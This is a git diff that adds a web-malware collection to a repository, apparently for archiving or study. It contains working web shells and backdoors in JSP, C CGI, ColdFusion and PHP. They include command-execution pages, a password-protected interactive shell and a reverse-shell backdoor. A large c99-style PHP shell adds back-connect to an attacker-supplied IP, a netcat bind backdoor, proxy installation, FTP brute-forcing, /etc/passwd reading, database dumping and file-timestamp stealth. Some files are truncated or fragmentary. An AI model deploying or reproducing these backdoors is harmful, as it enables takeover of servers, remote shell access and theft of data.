+ request.setAttribute("error", "Cannot move " + f.getAbsolutePath()
+ + ". Move aborted");
+ error = true;
+ break;
+ }
+ }
+ if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files moved");
+ else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File moved");
+ else if (!error) request.setAttribute("error", "No files selected");
+ }
+ }
+ // Copy Files
+ else if ((request.getParameter("Submit") != null)
+ && (request.getParameter("Submit").equals(COPY_FILES))) {
+ Vector v = expandFileList(request.getParameterValues("selfile"), true);
+ String dir = (String) request.getAttribute("dir");
+ if (!dir.endsWith(File.separator)) dir += File.separator;
+ String dir_name = request.getParameter("cr_dir");
+ String new_dir = getDir(dir, dir_name);
+ if (!isAllowed(new File(new_dir))){
+ request.setAttribute("error", "You are not allowed to access " + new_dir);
+ }
+ else{
+ boolean error = false;
+ if (!new_dir.endsWith(File.separator)) new_dir += File.separator;
+ try {
+ byte buffer[] = new byte[0xffff];
+ for (int i = 0; i < v.size(); i++) {
+ File f_old = (File) v.get(i);
+ File f_new = new File(new_dir + f_old.getAbsolutePath().substring(dir.length()));
+ if (!isAllowed(f_old)|| !isAllowed(f_new)){
+ request.setAttribute("error", "You are not allowed to access " + f_new.getAbsolutePath());
+ error = true;
+ }
+ else if (f_old.isDirectory()) f_new.mkdirs();
+ // Overwriting is forbidden
+ else if (!f_new.exists()) {
+ copyStreams(new FileInputStream(f_old), new FileOutputStream(f_new), buffer);
+ }
+ else {
+ // File exists
+ request.setAttribute("error", "Cannot copy " + f_old.getAbsolutePath()
+ + ", file already exists. Copying aborted");
+ error = true;
+ break;
+ }
+ }
+ }
+ catch (IOException e) {
+ request.setAttribute("error", "Error " + e + ". Copying aborted");
+ error = true;
+ }
+ if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files copied");
+ else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File copied");
+ else if (!error) request.setAttribute("error", "No files selected");
+ }
+ }
+ // Directory viewer
+ if (dir_view && request.getAttribute("dir") != null) {
+ File f = new File("" + request.getAttribute("dir"));
+ //Check, whether the dir exists
+ if (!f.exists() || !isAllowed(f)) {
+ if (!f.exists()){
+ request.setAttribute("error", "Directory " + f.getAbsolutePath() + " does not exist.");
+ }
+ else{
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
+ }
+ //if attribute olddir exists, it will change to olddir
+ if (request.getAttribute("olddir") != null && isAllowed(new File((String) request.getAttribute("olddir")))) {
+ f = new File("" + request.getAttribute("olddir"));
+ }
+ //try to go to the parent dir
+ else {
+ if (f.getParent() != null && isAllowed(f)) f = new File(f.getParent());
+ }
+ //If this dir also do also not exist, go back to browser.jsp root path
+ if (!f.exists()) {
+ String path = null;
+ if (application.getRealPath(request.getRequestURI()) != null) path = new File(
+ application.getRealPath(request.getRequestURI())).getParent();
+
+ if (path == null) // handle the case were we are not in a directory (ex: war file)
+ path = new File(".").getAbsolutePath();
+ f = new File(path);
+ }
+ if (isAllowed(f)) request.setAttribute("dir", f.getAbsolutePath());
+ else request.setAttribute("dir", null);
+ }
+%>
+
+<%=request.getAttribute("dir")%>
+
+
+<%
+ //Output message
+ if (request.getAttribute("message") != null) {
+ out.println("");
+ out.println(request.getAttribute("message"));
+ out.println("
");
+ }
+ //Output error
+ if (request.getAttribute("error") != null) {
+ out.println("");
+ out.println(request.getAttribute("error"));
+ out.println("
");
+ }
+ if (request.getAttribute("dir") != null){
+%>
+
+
+ <% if (NATIVE_COMMANDS){%>
+ <%
+ }
+ }%>
+
+ jsp File Browser version <%= VERSION_NR%> by www.vonloesch.de
+
+
+<%
+ }
+%>
\ No newline at end of file
diff --git a/web-malware-collection-master/Backdoors/JSP/cmd.jsp b/web-malware-collection-master/Backdoors/JSP/cmd.jsp
new file mode 100755
index 0000000..983519f
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/JSP/cmd.jsp
@@ -0,0 +1,35 @@
+<%@ page import="java.util.*,java.io.*"%>
+<%
+//
+// JSP_KIT
+//
+// cmd.jsp = Command Execution (unix)
+//
+// by: Unknown
+// modified: 27/06/2003
+//
+%>
+
+
+
+<%
+if (request.getParameter("cmd") != null) {
+ out.println("Command: " + request.getParameter("cmd") + "
+
+
+
diff --git a/web-malware-collection-master/Backdoors/JSP/cmd_win32.jsp b/web-malware-collection-master/Backdoors/JSP/cmd_win32.jsp
new file mode 100755
index 0000000..5baadc0
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/JSP/cmd_win32.jsp
@@ -0,0 +1,31 @@
+<%@ page import="java.util.*,java.io.*,java.net.*"%>
+<%
+//
+// JSP_KIT
+//
+// cmd.jsp = Command Execution (win32)
+//
+// by: Unknown
+// modified: 27/06/2003
+//
+%>
+
+
+
+<%
+if (request.getParameter("cmd") != null) {
+ out.println("Command: " + request.getParameter("cmd") + "\n
+
\ No newline at end of file
diff --git a/web-malware-collection-master/Backdoors/JSP/jspShell.jsp b/web-malware-collection-master/Backdoors/JSP/jspShell.jsp
new file mode 100755
index 0000000..41e446e
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/JSP/jspShell.jsp
@@ -0,0 +1,352 @@
+<%@page contentType="text/html"%><%@page pageEncoding="UTF-8"%><%@page import="java.io.*"%><%@page import="java.io.File.*"%><%@page import="java.security.MessageDigest"%><%!
+ public class ProcessThread extends Thread {
+
+ private ByteArrayOutputStream progOutput = new ByteArrayOutputStream(1024);
+ private ByteArrayOutputStream progErrorOutput = new ByteArrayOutputStream(1024);
+ private BufferedWriter progIn;
+ private Process proc;
+ private InputStream inputStream;
+ private InputStream inputStreamErro;
+ private OutputStream outputStream;
+
+ public ByteArrayOutputStream getProgOutput() {
+ return progOutput;
+ }
+
+ public BufferedWriter getProgIn() {
+ return progIn;
+ }
+
+ public ByteArrayOutputStream getProgError() {
+ return progErrorOutput;
+ }
+
+
+ public void interrupt() {
+ if (proc != null) {
+ proc.destroy();
+ }
+ super.interrupt();
+ }
+
+ public void run() {
+ Runtime runtime = Runtime.getRuntime();
+ CopyThread copyThreadOut = null;
+ CopyThread copyThreadError = null;
+ try {
+ proc = runtime.exec("cmd");// for Windows System use runtime.exec("cmd");
+ inputStream = proc.getInputStream();
+ copyThreadOut = new CopyThread("copyThreadOut", inputStream, progOutput);
+ copyThreadOut.start();
+
+ inputStreamErro = proc.getErrorStream();
+ copyThreadError = new CopyThread("copyThreadError", inputStreamErro, progErrorOutput);
+ copyThreadError.start();
+ outputStream = proc.getOutputStream();
+ progIn = new BufferedWriter(new OutputStreamWriter(outputStream));
+
+
+ progOutput.write(("Exit=" + proc.waitFor()).getBytes());
+ System.out.println("Process end!!!!!!!");
+ } catch (InterruptedException ex) {
+ ex.printStackTrace();
+ } catch (IOException ex) {
+ ex.printStackTrace();
+ } finally {
+ if (copyThreadOut != null && copyThreadOut.isAlive()) {
+
+ try {
+ copyThreadOut.stop();
+ } catch (Throwable t) {
+ t.printStackTrace();
+ }
+ }
+ if (copyThreadError != null && copyThreadError.isAlive()) {
+ try {
+ copyThreadError.stop();
+ } catch (Throwable t) {
+ t.printStackTrace();
+ }
+ }
+ }
+ }
+ }
+
+ public class CopyThread extends Thread {
+
+ private InputStream inputStream;
+ private OutputStream outputStream;
+ private String name;
+
+ public CopyThread(String name, InputStream inputStream, OutputStream outputStream) {
+ this.inputStream = inputStream;
+ this.outputStream = outputStream;
+ this.name = name;
+ }
+
+ @Override
+ public void run() {
+ int _char;
+ try {
+ while ((_char = inputStream.read()) > 0) {
+ System.out.write(_char);
+ synchronized (outputStream) {
+ outputStream.write(_char);
+ }
+ }
+ } catch (Exception ex) {
+ ex.printStackTrace();
+ }
+ }
+ }
+
+ private void setupProcess(HttpSession session) {
+ Thread processThreadSessionOld = (Thread) session.getAttribute("process");
+ if (processThreadSessionOld != null) {
+ processThreadSessionOld.interrupt();
+ }
+ ProcessThread processThreadSession = new ProcessThread();
+ processThreadSession.start();
+ session.setAttribute("process", processThreadSession);
+ while(processThreadSession.getProgIn()==null && processThreadSession.isAlive()){
+
+ }
+ session.setAttribute("progInBufferedWriter", processThreadSession.getProgIn());
+ session.setAttribute("progOutputByteArrayOutputStream", processThreadSession.getProgOutput());
+ session.setAttribute("progErrorByteArrayOutputStream", processThreadSession.getProgError());
+ }
+
+ private String getOutput(HttpSession session) {
+ ByteArrayOutputStream progOutput = (ByteArrayOutputStream) session.getAttribute("progOutputByteArrayOutputStream");
+ ByteArrayOutputStream progErrorOutput = (ByteArrayOutputStream) session.getAttribute("progErrorByteArrayOutputStream");
+ StringBuilder stringBuilder = new StringBuilder();
+ if (progOutput != null) {
+ synchronized (progOutput) {
+ stringBuilder.append(progOutput.toString());
+ progOutput.reset();
+ }
+ }
+ if (progErrorOutput != null) {
+ synchronized (progErrorOutput) {
+ stringBuilder.append(progErrorOutput.toString());
+ progErrorOutput.reset();
+ }
+ }
+ return stringBuilder.toString();
+ }
+
+ private void execute(HttpSession session, String cmd) throws IOException {
+ BufferedWriter progIn = (BufferedWriter) session.getAttribute("progInBufferedWriter");
+ if (progIn != null) {
+ progIn.write(cmd + "\n");
+ progIn.flush();
+ }
+
+ }
+%><%
+ String ServeName = request.getRequestURI();
+ String IsAuth = (String) session.getAttribute("isauth");
+ if ("true".equals(IsAuth)) {
+
+ String function = request.getParameter("function");
+ if (function != null) {
+ if ("exit".equalsIgnoreCase(function)) {
+ session.invalidate();
+ return;
+ }
+ if ("execute".equalsIgnoreCase(function)) {
+ String cmd = request.getParameter("cmd");
+ if (cmd != null && !cmd.isEmpty()) {
+ execute(session, cmd);
+
+
+ }
+ } else if ("update".equalsIgnoreCase(function)) {
+ out.write(getOutput(session));
+
+ } else if ("controlc".equalsIgnoreCase(function)) {
+ setupProcess(session);
+ }
+ return;
+ }
+ }
+%>
+
+
+
+ JSP Shell
+
+
+
+
+
+ JSP Shell
+ <%
+ if (session.isNew()) {
+ %>
+
+
+
+<%
+ return;
+ } else {
+ if ((IsAuth == null && request.getParameter("pass") != null)) {
+ String pass = request.getParameter("pass");
+ MessageDigest mdAlgorithm = MessageDigest.getInstance("MD5");
+
+ mdAlgorithm.update(pass.getBytes());
+
+ byte[] digest = mdAlgorithm.digest();
+ StringBuffer hexString = new StringBuffer();
+
+ for (int i = 0; i < digest.length; i++) {
+ pass = Integer.toHexString(0xFF & digest[i]);
+ if (pass.length() < 2) {
+ pass = "0" + pass;
+ }
+ hexString.append(pass);
+ }
+
+ if (!(hexString.toString().equalsIgnoreCase("95f292773550fc8d39aaa8ddc9f3cfac"))) {
+%>
+MUKHA MO!!!
+<%
+ session.invalidate();
+ return;
+ } else {
+ session.setAttribute("isauth", "true");
+ //Start proc
+ setupProcess(session);
+
+ }
+ } else if ("true".equals(IsAuth)) {
+ } else {
+ session.invalidate();
+ return;
+ }
+ }
+%>
+
+
+
+
+
diff --git a/web-malware-collection-master/Backdoors/JSP/jspbd.jsp b/web-malware-collection-master/Backdoors/JSP/jspbd.jsp
new file mode 100755
index 0000000..4b2b73c
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/JSP/jspbd.jsp
@@ -0,0 +1,87 @@
+// backdoor.jsp
+< %@
+page import="java.lang.*, java.util.*, java.io.*, java.net.*"
+% >
+< %!
+static class StreamConnector extends Thread
+{
+ InputStream is;
+ OutputStream os;
+
+ StreamConnector(InputStream is, OutputStream os)
+ {
+ this.is = is;
+ this.os = os;
+ }
+
+ public void run()
+ {
+ BufferedReader isr = null;
+ BufferedWriter osw = null;
+
+ try
+ {
+ isr = new BufferedReader(new InputStreamReader(is));
+ osw = new BufferedWriter(new OutputStreamWriter(os));
+
+ char buffer[] = new char[8192];
+ int lenRead;
+
+ while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
+ {
+ osw.write(buffer, 0, lenRead);
+ osw.flush();
+ }
+ }
+ catch (Exception ioe)
+
+ try
+ {
+ if(isr != null) isr.close();
+ if(osw != null) osw.close();
+ }
+ catch (Exception ioe)
+ }
+}
+% >
+
+JSP Backdoor Reverse Shell
+
+
+
+
+ <%
+ out.print("Path: " + f.toString() + " " + fname.toString() + " " + "( Size: " + flist[i].length() + " bytes)
+ <%
+
+ } else {
+ if(f.canRead() == true) {
+ InputStream in = new FileInputStream(f);
+ ServletOutputStream outs = response.getOutputStream();
+ int left = 0;
+ try {
+ while((left) >= 0 ) {
+ left = in.read();
+ outs.write(left);
+ }
+ } catch(IOException ex) {ex.printStackTrace();}
+ outs.flush();
+ outs.close();
+ in.close();
+ } else {
+ out.print("Can't Read file
+
+
+char *uri_decode(char *uri) {
+ int i=0;
+ int ptr=0;
+ char *command;
+ char hexa[3];
+ char code;
+
+ command=(char *)malloc(strlen(uri));
+
+ for(i=0;i\n");
+
+ cmd=(char *)getenv("QUERY_STRING");
+
+ if(!cmd || strlen(cmd)==0) {
+ printf("
");
+ } else {
+ //printf("QUERY_STRING: %s\n", cmd);
+ cmd+=4;
+ cmd=uri_decode(cmd);
+ printf("COMMAND: %s
\n", cmd);
+ fflush(stdout);
+ execl("/bin/sh", "/bin/sh", "-c", cmd, 0);
+ }
+
+}
+
+
+
+
diff --git a/web-malware-collection-master/Backdoors/Other/cmd.cfm b/web-malware-collection-master/Backdoors/Other/cmd.cfm
new file mode 100755
index 0000000..6e85c78
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/Other/cmd.cfm
@@ -0,0 +1,32 @@
+
+
+
+
+
+
+
+
+
+
+#myVar#
+
+
+
+
\ No newline at end of file
diff --git a/web-malware-collection-master/Backdoors/PHP/150.php b/web-malware-collection-master/Backdoors/PHP/150.php
new file mode 100755
index 0000000..871458a
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/150.php
@@ -0,0 +1,3 @@
+
\ No newline at end of file
diff --git a/web-malware-collection-master/Backdoors/PHP/27.9.txt b/web-malware-collection-master/Backdoors/PHP/27.9.txt
new file mode 100755
index 0000000..06f5ce3
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/27.9.txt
@@ -0,0 +1,2905 @@
+&1","r"))) {
+return 126;
+}
+while (!feof($p)) {
+$line=fgets($p,1000);
+$out .= $line;
+}
+pclose($p);
+return $out;
+}
+}else{
+function myshellexec($cmd)
+{
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd))
+ {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
+ elseif (($result = `$cmd`) !== FALSE) {}
+ elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_resource($fp = popen($cmd,"r")))
+ {
+ $result = "";
+ while(!feof($fp)) {$result .= fread($fp,1024);}
+ pclose($fp);
+ }
+ }
+ return $result;
+}
+}
+}
+
+
+function checkproxyhost(){
+$host = getenv("HTTP_HOST");
+$filename = '/tmp/.setan/xh';
+if (file_exists($filename)) {
+$_POST['proxyhostmsg']="Success! $host:6543 Note: If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.Failed! Note: If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.'nc $ip $por' .$data";
+ }else{
+ cfb("/tmp/shbd",$backdoor);
+ ex("chmod 777 /tmp/shbd");
+ $cmd = "./tmp/shbd $por";
+ exec("$cmd > /dev/null &");
+ $scan = myshellexec("ps aux");
+ if(eregi("./shbd $por",$scan)){ $data = ("\nProcess found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\nProcess not found running, backdoor not setup successfully."); }
+ $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por' .$data";
+}
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
+{
+ if(is_writable(".")){
+ cf("back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ if (file_exists("back")) { unlink("back"); }
+ }else{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
+}
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
+{
+ if(is_writable(".")){
+ cf("backc",$back_connect_c);
+ ex("chmod 777 backc");
+ //$blah = ex("gcc back.c -o backc");
+ $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ //if (file_exists("back.c")) { unlink("back.c"); }
+ if (file_exists("backc")) { unlink("backc"); }
+ }else{
+ ex("chmod 777 /tmp/backc");
+ cf("/tmp/backc",$back_connect_c);
+ //$blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+ //if (file_exists("back.c")) { unlink("back.c"); }
+ if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
+}
+
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or err();
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+function cfb($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or bberr();
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+function err()
+{
+$_POST['backcconnmsge']="Error: Can't connect!Error: Can't backdoor host!";$m852 = "$i94\n$i71\n\n$h42$a83\n$p77";@mail($e85, $s33, $m852, $f55);
+if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
+$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
+foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
+$shver = "Mini Php Shell 27.9 V2";
+if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
+elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
+else {$surl = $_REQUEST["c99sh_surl"];
+}
+$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
+if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+if (empty($surl))
+{
+ $surl = "?".$includestr;
+}
+$surl = htmlspecialchars($surl);
+$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
+$login = "";
+$pass = "";
+$md5_pass = "";
+$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
+$login_txt = "Apache Error: Restricted File";
+$accessdeniedmess = "access denied";
+$gzipencode = TRUE;
+$filestealth = TRUE; //if TRUE, don't change modify- and access-time
+$donated_html = "";
+$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
+$curdir = "./";
+//$curdir = getenv("DOCUMENT_ROOT");
+$tmpdir = "";
+$tmpdir_log = "./";
+$log_email = "no access email";
+$sort_default = "0a";
+$sort_save = TRUE;
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","c",".bash_history","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "), // example
+ array("config.php",1) // example
+);
+$safemode_diskettes = array("a");
+$hexdump_lines = 8;// lines in hex preview file
+$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
+$nixpwdperpage = 100; // Get first N lines from /etc/passwd
+
+
+$sess_cookie = "c99shvars"; // Cookie-variable name
+
+
+
+//Quick launch
+$quicklaunch = array(
+ array("Home ",$surl),
+ array("Search ",$surl."act=search&d=%d"),
+ array("Encoder ",$surl."act=encoder&d=%d"),
+ array("Processes ",$surl."act=processes&d=%d"),
+ array("FTP-Brute-Forcer ",$surl."act=ftpquickbrute&d=%d"),
+ array("Server-Information ",$surl."act=security&d=%d"),
+ array("SQL-Manager ",$surl."act=sql&d=%d"),
+ array("PHP-Code ",$surl."act=eval&d=%d&eval=//readfile('/etc/passwd');"),
+ array("Back-Connect ",$surl."act=backc"),
+ array("Self-Remove ",$surl."act=selfremove"),
+ array("Install-Proxy ",$surl."act=proxy"),
+ array("Host ",$surl."act=shbd"),
+);
+
+//Highlight-code colors
+$highlight_background = "#c0c0c0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["c99shcook"]);
+
+//END CONFIGURATION
+
+
+// \/Next code isn't for editing\/
+@set_time_limit(0);
+$tmp = array();
+foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Access Denied");}
+if (!empty($login))
+{
+ if (empty($md5_pass)) {$md5_pass = md5($pass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
+ {
+ if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |".view_perms(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+ else {return "".view_perms(fileperms($o))." ";}
+}
+}
+if (!function_exists("mysql_dump")){
+function mysql_dump($set)
+{
+ global $shver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file))
+ {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "# Dumped by ".$shver."
+# Home page: http://devilzc0de.com/
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+# Date: ".date("d.m.Y H:i:s")."
+# DB: \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ // recieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+ // recieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret["err"][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+}
+}
+if (!function_exists("mysql_buildwhere"))
+{
+function mysql_buildwhere($array,$sep=" and",$functs=array())
+{
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v)
+ {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+}
+}
+if (!function_exists("mysql_fetch_all"))
+{
+function mysql_fetch_all($query,$sock)
+{
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+}
+}
+if (!function_exists("mysql_smarterror"))
+{
+function mysql_smarterror($type,$sock)
+{
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+}
+}
+if (!function_exists("mysql_query_form"))
+{
+function mysql_query_form()
+{
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: Fields: ".$name."
";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+}
+}
+if (!function_exists("mysql_create_db"))
+{
+function mysql_create_db($db,$sock="")
+{
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+}
+}
+if (!function_exists("mysql_query_parse"))
+{
+function mysql_query_parse($query)
+{
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ /*array array()
+ {
+ "METHOD"=>array(output_type),
+ "METHOD1"...
+ ...
+ }
+ if output_type == 0, no output,
+ if output_type == 1, no output if no error
+ if output_type == 2, output without control-buttons
+ if output_type == 3, output with control-buttons
+ */
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op]))
+ {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2)
+ {
+ foreach($arr as $k=>$v)
+ {
+ if (strtoupper($v) == "LIMIT")
+ {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("c99fsearch"))
+{
+function c99fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE)
+ {
+ if($f != "." && $f != "..")
+ {
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f))
+ {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {c99fsearch($d.$f);}
+ }
+ else
+ {
+ $search_i_f++;
+ if ($bool)
+ {
+ if (!empty($a["text"]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
